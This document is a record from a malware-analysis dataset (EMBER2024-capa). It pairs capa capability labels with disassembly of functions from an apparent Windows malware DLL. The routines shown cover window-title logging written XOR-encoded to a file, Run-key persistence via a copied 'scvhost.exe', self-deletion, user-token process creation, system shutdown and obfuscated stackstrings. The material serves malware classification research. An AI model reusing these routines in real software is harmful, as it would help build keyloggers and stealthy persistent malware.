joyce8/EMBER2024-capa huggingface dataset:
Function at 0x10002440
Capabilities:
Encode data using xor
Get common file path
Get file size
Read file on windows

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x114
push ebx
push esi
push edi
xor ebx, ebx
push 0x103
lea eax, [ebp - 0x113]
push ebx
push eax
mov dword [ebp - 8], ecx
mov dword [ebp - 4], ebx
mov dword [ebp - 0x10], ebx
mov byte [ebp - 0x114], bl
call fcn.10008330
add esp, 0xc
push 0x104
lea ecx, [ebp - 0x114]
push ecx
call dword [sym.imp.KERNEL32.dll_GetSystemDirectoryA]
lea edi, [ebp - 0x114]
dec edi
jmp 0x10002490
mov al, byte [edi + 1]
inc edi
test al, al
jne 0x10002490
mov dx, word [0x1001542c]
mov eax, str.Default
mov word [edi], dx
mov edx, eax
lea esp, [esp]
mov cl, byte [eax]
inc eax
test cl, cl
jne 0x100024b0
lea edi, [ebp - 0x114]
sub eax, edx
dec edi
mov cl, byte [edi + 1]
inc edi
test cl, cl
jne 0x100024c0
mov ecx, eax
shr ecx, 2
mov esi, edx
rep movsd dword es:[edi], dword [esi]
mov ecx, eax
and ecx, 3
lea eax, [ebp - 0x114]
rep movsb byte es:[edi], byte [esi]
dec eax
nop
mov cl, byte [eax + 1]
inc eax
test cl, cl
jne 0x100024e0
mov ecx, dword [str..key]
mov dl, byte [0x10015428]
push ebx
push 0x80
push 3
push ebx
mov dword [eax], ecx
push 1
mov byte [eax + 4], dl
push closesocket
lea eax, [ebp - 0x114]
push eax
call dword [sym.imp.KERNEL32.dll_CreateFileA]
mov ebx, eax
mov dword [ebp - 0xc], ebx
cmp ebx, 0xffffffff
je 0x100025ad
push 0
push ebx
call dword [sym.imp.KERNEL32.dll_GetFileSize]
mov esi, eax
push esi
call fcn.10008230
add esp, 4
push 0
lea ecx, [ebp - 0x10]
push ecx
push esi
mov edi, eax
push edi
push ebx
call dword [sym.imp.KERNEL32.dll_ReadFile]
xor eax, eax
test esi, esi
je 0x10002559
nop
xor byte [eax + edi], 0x62
inc eax
cmp eax, esi
jb 0x10002550
lea eax, [esi + 1]
push eax
push 0x40
mov dword [ebp - 4], eax
call dword [sym.imp.KERNEL32.dll_LocalAlloc]
mov ebx, eax
push esi
lea edx, [ebx + 1]
push edi
push edx
mov byte [ebx], 5
call fcn.10007ae0
mov eax, dword [ebp - 4]
mov ecx, dword [ebp - 8]
add esp, 0xc
push eax
push ebx
call fcn.10006910
push ebx
mov esi, eax
call dword [sym.imp.KERNEL32.dll_LocalFree]
push edi
call fcn.10007e41
mov ebx, dword [ebp - 0xc]
add esp, 4
push ebx
call dword [sym.imp.KERNEL32.dll_CloseHandle]
pop edi
mov eax, esi
pop esi
pop ebx
mov esp, ebp
pop ebp
ret
mov esi, dword [ebp - 4]
push ebx
call dword [sym.imp.KERNEL32.dll_CloseHandle]
pop edi
mov eax, esi
pop esi
pop ebx
mov esp, ebp
pop ebp
ret
Function at 0x100025c0
Capabilities:
Delete file
Get common file path

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x104
push esi
mov esi, dword [ebp + 8]
cmp byte [esi], 2
push edi
mov edi, ecx
jne 0x100025da
call fcn.10002440
cmp byte [esi], 0x64
jne 0x100025e6
mov ecx, edi
call fcn.100069a0
cmp byte [esi], 3
jne 0x10002676
push 0x104
lea eax, [ebp - 0x104]
push eax
call dword [sym.imp.KERNEL32.dll_GetSystemDirectoryA]
lea edi, [ebp - 0x104]
dec edi
mov al, byte [edi + 1]
inc edi
test al, al
jne 0x10002608
mov cx, word [0x1001542c]
mov eax, str.Default
mov word [edi], cx
mov edx, eax
mov cl, byte [eax]
inc eax
test cl, cl
jne 0x10002621
lea edi, [ebp - 0x104]
sub eax, edx
dec edi
mov cl, byte [edi + 1]
inc edi
test cl, cl
jne 0x10002631
mov ecx, eax
shr ecx, 2
mov esi, edx
rep movsd dword es:[edi], dword [esi]
mov ecx, eax
and ecx, 3
lea eax, [ebp - 0x104]
rep movsb byte es:[edi], byte [esi]
dec eax
mov cl, byte [eax + 1]
inc eax
test cl, cl
jne 0x10002650
mov edx, dword [str..key]
mov cl, byte [0x10015428]
mov dword [eax], edx
lea edx, [ebp - 0x104]
push edx
mov byte [eax + 4], cl
call dword [sym.imp.KERNEL32.dll_DeleteFileA]
pop edi
pop esi
mov esp, ebp
pop ebp
ret 8
Function at 0x10002720
Capabilities:
Enumerate devices by category

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x30
push ebx
mov ebx, dword [sym.imp.KERNEL32.dll_LoadLibraryA]
push esi
push edi
push str.Ole32.dll
call ebx
mov esi, dword [sym.imp.KERNEL32.dll_GetProcAddress]
mov edi, eax
push str.CoInitialize
push edi
call esi
push str.CoUninitialize
push edi
mov dword [ebp - 0xc], eax
call esi
push str.CoCreateInstance
push edi
mov dword [ebp - 0x20], eax
call esi
push str.Oleaut32.dll
mov dword [ebp - 0x10], eax
call ebx
mov ebx, eax
push str.SysFreeString
push ebx
call esi
push 0
mov dword [ebp - 0x18], eax
call dword [ebp - 0xc]
lea eax, [ebp - 0x14]
push eax
push 0x1001658c
push 1
xor esi, esi
push esi
push 0x100165ac
mov dword [ebp - 0xc], esi
call dword [ebp - 0x10]
test eax, eax
je 0x1000279e
pop edi
pop esi
xor eax, eax
pop ebx
mov esp, ebp
pop ebp
ret
mov eax, dword [ebp - 0x14]
mov ecx, dword [eax]
push 0
lea edx, [ebp - 4]
push edx
push 0x1001659c
push eax
mov eax, dword [ecx + 0xc]
call eax
test eax, eax
jne 0x10002795
mov eax, dword [ebp - 4]
mov ecx, dword [eax]
mov edx, dword [ecx + 0x14]
push eax
call edx
mov eax, dword [ebp - 4]
mov ecx, dword [eax]
lea edx, [ebp - 0x1c]
push edx
lea edx, [ebp - 8]
push edx
push 1
push eax
mov eax, dword [ecx + 0xc]
call eax
test eax, eax
jne 0x10002859
lea esp, [esp]
mov eax, dword [ebp - 8]
mov ecx, dword [eax]
lea edx, [ebp - 0xc]
push edx
push 0x100165c0
push 0
push 0
push eax
mov eax, dword [ecx + 0x24]
call eax
test eax, eax
js 0x10002832
mov eax, dword [ebp - 0xc]
mov ecx, 8
mov word [ebp - 0x30], cx
mov edx, dword [eax]
mov edx, dword [edx + 0xc]
push 0
lea ecx, [ebp - 0x30]
push ecx
push 0x10015430
push eax
call edx
test eax, eax
jne 0x10002827
mov eax, dword [ebp - 0x28]
push eax
inc esi
call dword [ebp - 0x18]
mov eax, dword [ebp - 0xc]
mov ecx, dword [eax]
mov edx, dword [ecx + 8]
push eax
call edx
mov eax, dword [ebp - 8]
mov ecx, dword [eax]
mov edx, dword [ecx + 8]
push eax
call edx
mov eax, dword [ebp - 4]
mov ecx, dword [eax]
lea edx, [ebp - 0x1c]
push edx
lea edx, [ebp - 8]
push edx
push 1
push eax
mov eax, dword [ecx + 0xc]
call eax
test eax, eax
je 0x100027e0
mov dword [ebp - 0xc], esi
call dword [ebp - 0x20]
mov esi, dword [sym.imp.KERNEL32.dll_FreeLibrary]
test edi, edi
je 0x10002869
push edi
call esi
test ebx, ebx
je 0x10002870
push ebx
call esi
mov eax, dword [ebp - 0xc]
pop edi
pop esi
pop ebx
mov esp, ebp
pop ebp
ret
Function at 0x10002880
Capabilities:
Contain obfuscated stackstrings

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x428
push esi
mov esi, dword [ebp + 0x14]
push edi
mov edi, dword [ebp + 0x10]
push esi
push 0
push edi
call fcn.10008330
push 0x400
lea eax, [ebp - 0x428]
push 0
push eax
call fcn.10008330
mov ecx, dword [ebp + 8]
push ecx
lea edx, [ebp - 0x28]
push edx
lea eax, [ebp - 0x428]
push eax
mov dword [ebp - 0x28], 0x54535953
mov dword [ebp - 0x24], 0x435c4d45
mov dword [ebp - 0x20], 0x65727275
mov dword [ebp - 0x1c], 0x6f43746e
mov dword [ebp - 0x18], 0x6f72746e
mov dword [ebp - 0x14], 0x7465536c
mov dword [ebp - 0x10], 0x7265535c
mov dword [ebp - 0xc], 0x65636976
mov dword [ebp - 8], 0x73255c73
mov byte [ebp - 4], 0
call dword [sym.imp.USER32.dll_wsprintfA]
mov ecx, dword [ebp + 0xc]
push 0
push esi
push 0
push edi
push 1
push ecx
lea edx, [ebp - 0x428]
push edx
push closesocket
call fcn.10007410
add esp, 0x44
pop edi
pop esi
mov esp, ebp
pop ebp
ret
Function at 0x100035e0
Capabilities:
Contain obfuscated stackstrings

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x558
push ebx
push esi
push 0x3ff
lea eax, [ebp - 0x557]
push 0
push eax
mov byte [ebp - 0x558], 0
call fcn.10008330
mov ecx, dword [ebp + 8]
mov esi, dword [sym.imp.USER32.dll_wsprintfA]
push ecx
lea edx, [ebp - 0x44]
push edx
lea eax, [ebp - 0x558]
push eax
mov dword [ebp - 0x44], 0x54535953
mov dword [ebp - 0x40], 0x435c4d45
mov dword [ebp - 0x3c], 0x65727275
mov dword [ebp - 0x38], 0x6f43746e
mov dword [ebp - 0x34], 0x6f72746e
mov dword [ebp - 0x30], 0x7465536c
mov dword [ebp - 0x2c], 0x7265535c
mov dword [ebp - 0x28], 0x65636976
mov dword [ebp - 0x24], 0x73255c73
mov byte [ebp - 0x20], 0
call esi
add esp, 0x18
lea ecx, [ebp - 0x54]
push ecx
call dword [sym.imp.KERNEL32.dll_GetLocalTime]
push 0x103
lea edx, [ebp - 0x157]
push 0
push edx
mov byte [ebp - 0x158], 0
call fcn.10008330
movzx eax, word [ebp - 0x4a]
movzx ecx, word [ebp - 0x4c]
movzx edx, word [ebp - 0x4e]
push eax
movzx eax, word [ebp - 0x52]
push ecx
movzx ecx, word [ebp - 0x54]
push edx
push eax
push ecx
lea edx, [ebp - 0x1c]
push edx
lea eax, [ebp - 0x158]
push eax
mov dword [ebp - 0x1c], 0x2d643425
mov dword [ebp - 0x18], 0x64322e25
mov dword [ebp - 0x14], 0x322e252d
mov word [ebp - 0x10], 0x64
call esi
add esp, 0x28
push 0
lea ecx, [ebp - 0x158]
push ecx
mov dword [ebp - 0xc], 0x6b72614d
mov dword [ebp - 8], 0x656d6954
mov byte [ebp - 4], 0
call dword [sym.imp.KERNEL32.dll_lstrlenA]
push eax
lea edx, [ebp - 0x158]
push edx
push 1
lea eax, [ebp - 0xc]
push eax
lea ecx, [ebp - 0x558]
push ecx
push closesocket
call fcn.100076d0
add esp, 0x1c
pop esi
pop ebx
mov esp, ebp
pop ebp
ret

Function at 0x10003720
Capabilities:
Create directory

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x108
push esi
push edi
push 0x103
lea eax, [ebp - 0x107]
push 0
push eax
mov byte [ebp - 0x108], 0
call fcn.10008330
mov edi, dword [ebp + 8]
mov eax, edi
add esp, 0xc
xor esi, esi
lea edx, [eax + 1]
mov cl, byte [eax]
inc eax
test cl, cl
jne 0x10003752
sub eax, edx
je 0x100037ae
push ebx
mov ebx, dword [sym.imp.KERNEL32.dll_CreateDirectoryA]
cmp byte [esi + edi], 0x5c
jne 0x10003799
push esi
lea ecx, [ebp - 0x108]
push edi
push ecx
call fcn.10007690
lea edx, [ebp - 0x108]
push 0
push edx
call fcn.10008e40
add esp, 0x14
cmp eax, 0xffffffff
jne 0x10003799
push 0
lea eax, [ebp - 0x108]
push eax
call ebx
mov eax, edi
inc esi
lea edx, [eax + 1]
nop
mov cl, byte [eax]
inc eax
test cl, cl
jne 0x100037a0
sub eax, edx
cmp esi, eax
jb 0x10003764
pop ebx
pop edi
pop esi
mov esp, ebp
pop ebp
ret
Function at 0x10003ae0
Capabilities:
Delete file
Get common file path
Move file

Disassembly:
push ebp
mov ebp, esp
mov ecx, dword [0x1001d2bc]
sub esp, 0x208
push 0x104
lea eax, [ebp - 0x208]
push eax
push ecx
call dword [sym.imp.KERNEL32.dll_GetModuleFileNameA]
push 0x104
lea edx, [ebp - 0x104]
push edx
call dword [sym.imp.KERNEL32.dll_GetSystemDirectoryA]
call dword [sym.imp.KERNEL32.dll_GetTickCount]
push eax
lea eax, [ebp - 0x104]
push eax
mov ecx, eax
push str._s_d.bak
push ecx
call dword [sym.imp.USER32.dll_wsprintfA]
add esp, 0x10
lea edx, [ebp - 0x104]
push edx
lea eax, [ebp - 0x208]
push eax
call dword [sym.imp.KERNEL32.dll_MoveFileA]
push 4
push 0
lea ecx, [ebp - 0x104]
push ecx
call dword [sym.imp.KERNEL32.dll_MoveFileExA]
mov esp, ebp
pop ebp
ret
Function at 0x10004090
Capabilities:
Create process on windows
Create process suspended

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x68
push ebx
push esi
push edi
mov edi, dword [sym.imp.KERNEL32.dll_LoadLibraryA]
push str.userenv.dll
call edi
mov ebx, eax
push str.CreateEnvironmentBlock
push ebx
call dword [sym.imp.KERNEL32.dll_GetProcAddress]
xor esi, esi
push 0x44
mov dword [ebp - 0x14], eax
lea eax, [ebp - 0x68]
push esi
push eax
mov dword [ebp - 0x10], esi
mov dword [ebp - 0xc], esi
mov dword [ebp - 8], esi
mov dword [ebp - 4], esi
call fcn.10008330
xor eax, eax
mov dword [ebp - 0x24], eax
mov dword [ebp - 0x20], eax
mov dword [ebp - 0x1c], eax
mov dword [ebp - 0x18], eax
add esp, 0xc
mov dword [ebp - 0x24], esi
mov dword [ebp - 0x20], esi
mov dword [ebp - 0x1c], esi
mov dword [ebp - 0x18], esi
mov dword [ebp - 0x68], 0x44
mov dword [ebp - 0x60], str.WinSta0Default
call dword [sym.imp.KERNEL32.dll_GetCurrentProcess]
lea ecx, [ebp - 8]
push ecx
push 0xf01ff
push eax
call dword [sym.imp.ADVAPI32.dll_OpenProcessToken]
mov eax, dword [ebp - 8]
lea edx, [ebp - 4]
push edx
push 1
push 1
push esi
push 0x2000000
push eax
call dword [sym.imp.ADVAPI32.dll_DuplicateTokenEx]
push str.WTSGetActiveConsoleSessionId
push str.Kernel32.dll
call edi
push eax
call dword [sym.imp.KERNEL32.dll_GetProcAddress]
cmp eax, esi
je 0x100041a1
call eax
mov edx, dword [ebp - 4]
push 4
lea ecx, [ebp - 0xc]
push ecx
push 0xc
push edx
mov dword [ebp - 0xc], eax
call dword [sym.imp.ADVAPI32.dll_SetTokenInformation]
mov eax, dword [ebp - 4]
push esi
push eax
lea ecx, [ebp - 0x10]
push ecx
call dword [ebp - 0x14]
mov ecx, dword [ebp - 0x10]
lea edx, [ebp - 0x24]
push edx
mov edx, dword [ebp + 8]
lea eax, [ebp - 0x68]
push eax
mov eax, dword [ebp - 4]
push esi
push ecx
push 0x430
push esi
push esi
push esi
push edx
push esi
push eax
call dword [sym.imp.ADVAPI32.dll_CreateProcessAsUserA]
mov ecx, dword [ebp - 4]
mov edi, dword [ebp - 0x24]
push ecx
call dword [sym.imp.KERNEL32.dll_CloseHandle]
mov edx, dword [ebp - 8]
push edx
call dword [sym.imp.KERNEL32.dll_CloseHandle]
jmp 0x100041a3
xor edi, edi
cmp ebx, esi
je 0x100041ae
push ebx
call dword [sym.imp.KERNEL32.dll_FreeLibrary]
mov eax, edi
pop edi
pop esi
pop ebx
mov esp, ebp
pop ebp
ret
Function at 0x10004310
Capabilities:
Create process on windows
Get comspec environment variable
Query environment variable
Self delete

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x348
push ebx
push esi
xor ebx, ebx
push 0x103
lea eax, [ebp - 0x13f]
push ebx
push eax
mov byte [ebp - 0x140], bl
call fcn.10008330
push 0x103
lea ecx, [ebp - 0x347]
push ebx
push ecx
mov byte [ebp - 0x348], bl
call fcn.10008330
push 0x103
lea edx, [ebp - 0x243]
push ebx
push edx
mov byte [ebp - 0x244], bl
call fcn.10008330
add esp, 0x24
push 0x104
lea eax, [ebp - 0x140]
push eax
push ebx
call dword [sym.imp.KERNEL32.dll_GetModuleFileNameA]
push 0x104
lea ecx, [ebp - 0x140]
push ecx
mov edx, ecx
push edx
call dword [sym.imp.KERNEL32.dll_GetShortPathNameA]
push 0x104
lea eax, [ebp - 0x348]
push eax
push str.COMSPEC
call dword [sym.imp.KERNEL32.dll_GetEnvironmentVariableA]
mov esi, dword [sym.imp.KERNEL32.dll_lstrcatA]
push str._c_del
lea ecx, [ebp - 0x244]
push ecx
call esi
lea edx, [ebp - 0x140]
push edx
lea eax, [ebp - 0x244]
push eax
call esi
push str.___nul
lea ecx, [ebp - 0x244]
push ecx
call esi
lea ecx, [ebp - 0x3c]
lea edx, [ebp - 0x348]
lea eax, [ebp - 0x244]
push ecx
mov dword [ebp - 0x3c], 0x3c
mov dword [ebp - 0x34], ebx
mov dword [ebp - 0x30], str.Open
mov dword [ebp - 0x2c], edx
mov dword [ebp - 0x28], eax
mov dword [ebp - 0x24], ebx
mov dword [ebp - 0x20], ebx
mov dword [ebp - 0x38], 0x40
call dword [sym.imp.SHELL32.dll_ShellExecuteExA]
test eax, eax
je 0x1000445d
mov edx, dword [ebp - 4]
mov esi, dword [sym.imp.KERNEL32.dll_SetPriorityClass]
push 0x40
push edx
call esi
push pe_nt_image_headers32
call dword [sym.imp.KERNEL32.dll_GetCurrentProcess]
push eax
call esi
push 0xf
call dword [sym.imp.KERNEL32.dll_GetCurrentThread]
push eax
call dword [sym.imp.KERNEL32.dll_SetThreadPriority]
push ebx
lea eax, [ebp - 0x140]
push eax
push 1
push 4
call dword [sym.imp.SHELL32.dll_SHChangeNotify]
pop esi
lea eax, [ebx + 1]
pop ebx
mov esp, ebp
pop ebp
ret
pop esi
xor eax, eax
pop ebx
mov esp, ebp
pop ebp
ret
Function at 0x100049c0
Capabilities:
Check if file exists
Check os version
Contain obfuscated stackstrings
Copy file
Create process on windows
Get common file path
Get file attributes
Get startup folder
Query environment variable
Set file attributes
Terminate process
Write file to startup folder

Disassembly:
push 0
push str.Entry
push str.Entry
push 0
call dword [sym.imp.USER32.dll_MessageBoxA]
jmp sym.Xy.dll_fuckyou

Function at 0x10004a10
Capabilities:
Encode data using xor
Get common file path
Get file size
Write file on windows

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x10c
push ebx
push esi
push edi
push 0x104
lea eax, [ebp - 0x10c]
push eax
call dword [sym.imp.KERNEL32.dll_GetSystemDirectoryA]
lea edi, [ebp - 0x10c]
dec edi
mov al, byte [edi + 1]
inc edi
test al, al
jne 0x10004a35
mov cx, word [0x1001542c]
mov eax, str.Default
mov word [edi], cx
mov edx, eax
mov edi, edi
mov cl, byte [eax]
inc eax
test cl, cl
jne 0x10004a50
lea edi, [ebp - 0x10c]
sub eax, edx
dec edi
mov cl, byte [edi + 1]
inc edi
test cl, cl
jne 0x10004a60
mov ecx, eax
shr ecx, 2
mov esi, edx
rep movsd dword es:[edi], dword [esi]
mov ecx, eax
and ecx, 3
lea eax, [ebp - 0x10c]
rep movsb byte es:[edi], byte [esi]
dec eax
nop
mov cl, byte [eax + 1]
inc eax
test cl, cl
jne 0x10004a80
mov edx, dword [str..key]
mov cl, byte [0x10015428]
push 0
push 0x80
push 4
push 0
push 2
mov dword [eax], edx
push 0x40000000
lea edx, [ebp - 0x10c]
push edx
mov byte [eax + 4], cl
call dword [sym.imp.KERNEL32.dll_CreateFileA]
mov esi, eax
push 0
push esi
mov dword [ebp - 4], esi
mov dword [ebp - 8], 0
call dword [sym.imp.KERNEL32.dll_GetFileSize]
cmp eax, 0x3200000
jae 0x10004ae1
push 2
push 0
push 0
push esi
call dword [sym.imp.KERNEL32.dll_SetFilePointer]
mov ebx, dword [ebp + 8]
push ebx
call dword [sym.imp.KERNEL32.dll_lstrlenA]
mov esi, eax
push esi
call fcn.10008230
add esp, 4
mov edi, eax
test esi, esi
jle 0x10004b0c
mov ecx, ebx
sub ecx, edi
mov dl, byte [ecx + eax]
xor dl, 0x62
mov byte [eax], dl
inc eax
dec esi
jne 0x10004b00
push 0
lea eax, [ebp - 8]
push eax
push ebx
call dword [sym.imp.KERNEL32.dll_lstrlenA]
mov esi, dword [ebp - 4]
push eax
push edi
push esi
call dword [sym.imp.KERNEL32.dll_WriteFile]
push esi
call dword [sym.imp.KERNEL32.dll_CloseHandle]
pop edi
pop esi
pop ebx
mov esp, ebp
pop ebp
ret
Function at 0x10004b40
Capabilities:
Get graphical window text

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x410
push esi
push 0x400
push 0
push 0x1001d330
call fcn.10008330
add esp, 0xc
call dword [sym.imp.USER32.dll_GetForegroundWindow]
push 0x400
push 0x1001d330
push eax
mov dword [0x1001d730], eax
call dword [sym.imp.USER32.dll_GetWindowTextA]
push 0x3ff
xor esi, esi
lea eax, [ebp - 0x40f]
push esi
push eax
mov byte [ebp - 0x410], 0
call fcn.10008330
mov ecx, dword [0x1001d730]
add esp, 0xc
cmp ecx, dword [0x1001d32c]
je 0x10004c24
push 0x1001d330
call dword [sym.imp.KERNEL32.dll_lstrlenA]
test eax, eax
jle 0x10004c18
lea edx, [ebp - 0x10]
push edx
call dword [sym.imp.KERNEL32.dll_GetLocalTime]
movzx eax, word [ebp - 4]
movzx ecx, word [ebp - 6]
movzx edx, word [ebp - 8]
push eax
movzx eax, word [ebp - 0xa]
push ecx
movzx ecx, word [ebp - 0xe]
push edx
movzx edx, word [ebp - 0x10]
push eax
push ecx
push edx
push 0x1001d330
lea eax, [ebp - 0x410]
push 0x10016204
push eax
call dword [sym.imp.USER32.dll_wsprintfA]
lea ecx, [ebp - 0x410]
push ecx
call fcn.10004a10
push 0x400
push esi
push 0x1001d330
call fcn.10008330
add esp, 0x34
mov esi, 1
mov edx, dword [0x1001d730]
mov dword [0x1001d32c], edx
mov eax, esi
pop esi
mov esp, ebp
pop ebp
ret

Function at 0x10004e80
Capabilities:
Copy file
Persist via run registry key
Set registry value

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x164
push esi
push edi
push 0x103
lea eax, [ebp - 0x163]
push 0
push eax
mov byte [ebp - 0x164], 0
call fcn.10008330
add esp, 0xc
push 0x104
lea ecx, [ebp - 0x164]
push ecx
push 0
call dword [sym.imp.KERNEL32.dll_GetModuleFileNameA]
mov ecx, 0xa
mov esi, str.C:Program_FilesCommon_Files_scvhost.exe
lea edi, [ebp - 0x60]
rep movsd dword es:[edi], dword [esi]
push 0x30
lea edx, [ebp - 0x36]
push 0
push edx
movsw word es:[edi], word [esi]
call fcn.10008330
add esp, 0xc
push 0
lea eax, [ebp - 0x60]
push eax
lea ecx, [ebp - 0x164]
push ecx
call dword [sym.imp.KERNEL32.dll_CopyFileA]
lea edx, [ebp - 4]
push edx
push 0xf003f
push 0
push str.SOFTWAREMicrosoftWindowsCurrentVersionRun
push closesocket
call dword [sym.imp.ADVAPI32.dll_RegOpenKeyExA]
pop edi
pop esi
test eax, eax
jne 0x10004f39
mov ecx, dword [ebp + 8]
mov edx, dword [ebp - 4]
push 0x104
lea eax, [ebp - 0x164]
push eax
push 1
push 0
push ecx
push edx
call dword [sym.imp.ADVAPI32.dll_RegSetValueExA]
mov eax, dword [ebp - 4]
push eax
call dword [sym.imp.ADVAPI32.dll_RegCloseKey]
xor al, al
mov esp, ebp
pop ebp
ret
Function at 0x10004f40
Capabilities:
Get graphical window text

Disassembly:
push ebp
mov ebp, esp
mov eax, 0x1108
call fcn.10008300
push ebx
push edi
push 0x800
call fcn.10008230
push 0x104
mov edi, eax
push 0
push edi
mov dword [ebp - 4], edi
call fcn.10008330
push 0x7ff
lea eax, [ebp - 0x907]
push 0
push eax
mov byte [ebp - 0x908], 0
call fcn.10008330
push 0x7ff
lea ecx, [ebp - 0x1107]
push 0
push ecx
mov byte [ebp - 0x1108], 0
call fcn.10008330
add esp, 0x28
push 0
push str.CTXOPConntion_Class
call dword [sym.imp.USER32.dll_FindWindowA]
mov ebx, eax
test ebx, ebx
je 0x100050ed
push esi
lea ebx, [ebx]
push 0x103
lea edx, [ebp - 0x107]
push 0
push edx
mov byte [ebp - 0x108], 0
call fcn.10008330
add esp, 0xc
push 0x104
lea eax, [ebp - 0x108]
push eax
push ebx
call dword [sym.imp.USER32.dll_GetClassNameA]
mov ecx, str.CTXOPConntion_Class
lea eax, [ebp - 0x108]
jmp 0x10005000
mov dl, byte [eax]
cmp dl, byte [ecx]
jne 0x10005020
test dl, dl
je 0x1000501c
mov dl, byte [eax + 1]
cmp dl, byte [ecx + 1]
jne 0x10005020
add eax, 2
add ecx, 2
test dl, dl
jne 0x10005000
xor eax, eax
jmp 0x10005025
sbb eax, eax
sbb eax, 0xffffffff
test eax, eax
jne 0x100050d9
test ebx, ebx
je 0x10005044
push 0x104
lea ecx, [ebp - 0x908]
push ecx
push ebx
call dword [sym.imp.USER32.dll_GetWindowTextA]
lea eax, [ebp - 0x908]
lea edx, [eax + 1]
lea ecx, [ecx]
mov cl, byte [eax]
inc eax
test cl, cl
jne 0x10005050
sub eax, edx
lea esp, [esp]
dec eax
cmp byte [ebp + eax - 0x908], 0x5f
jne 0x10005060
lea eax, [ebp + eax - 0x907]
lea edx, [ebp - 0x1108]
sub edx, eax
lea ebx, [ebx]
mov cl, byte [eax]
mov byte [edx + eax], cl
inc eax
test cl, cl
jne 0x10005080
push edi
call dword [sym.imp.KERNEL32.dll_lstrlenA]
test eax, eax
je 0x100050a8
dec edi
mov al, byte [edi + 1]
inc edi
test al, al
jne 0x10005096
mov dx, word [0x100162ac]
mov word [edi], dx
lea eax, [ebp - 0x1108]
mov ecx, eax
mov dl, byte [eax]
inc eax
test dl, dl
jne 0x100050b0
mov edi, dword [ebp - 4]
sub eax, ecx
mov esi, ecx
dec edi
nop
mov cl, byte [edi + 1]
inc edi
test cl, cl
jne 0x100050c0
mov ecx, eax
shr ecx, 2
rep movsd dword es:[edi], dword [esi]
mov ecx, eax
and ecx, 3
rep movsb byte es:[edi], byte [esi]
mov edi, dword [ebp - 4]
push 2
push ebx
call dword [sym.imp.USER32.dll_GetWindow]
mov ebx, eax
test ebx, ebx
jne 0x10004fc0
pop esi
push edi
call dword [sym.imp.KERNEL32.dll_lstrlenA]
test eax, eax
mov eax, edi
jne 0x10005100
mov dword [edi], 0x2d2f2d
pop edi
pop ebx
mov esp, ebp
pop ebp
ret

Function at 0x100054d0
Capabilities:
Shutdown system

Disassembly:
push ebp
mov ebp, esp
push 1
push str.SeShutdownPrivilege
call fcn.100071c0
mov eax, dword [ebp + 8]
add esp, 8
push 0
push eax
call dword [sym.imp.USER32.dll_ExitWindowsEx]
push 0
push str.SeShutdownPrivilege
call fcn.100071c0
add esp, 8
pop ebp
ret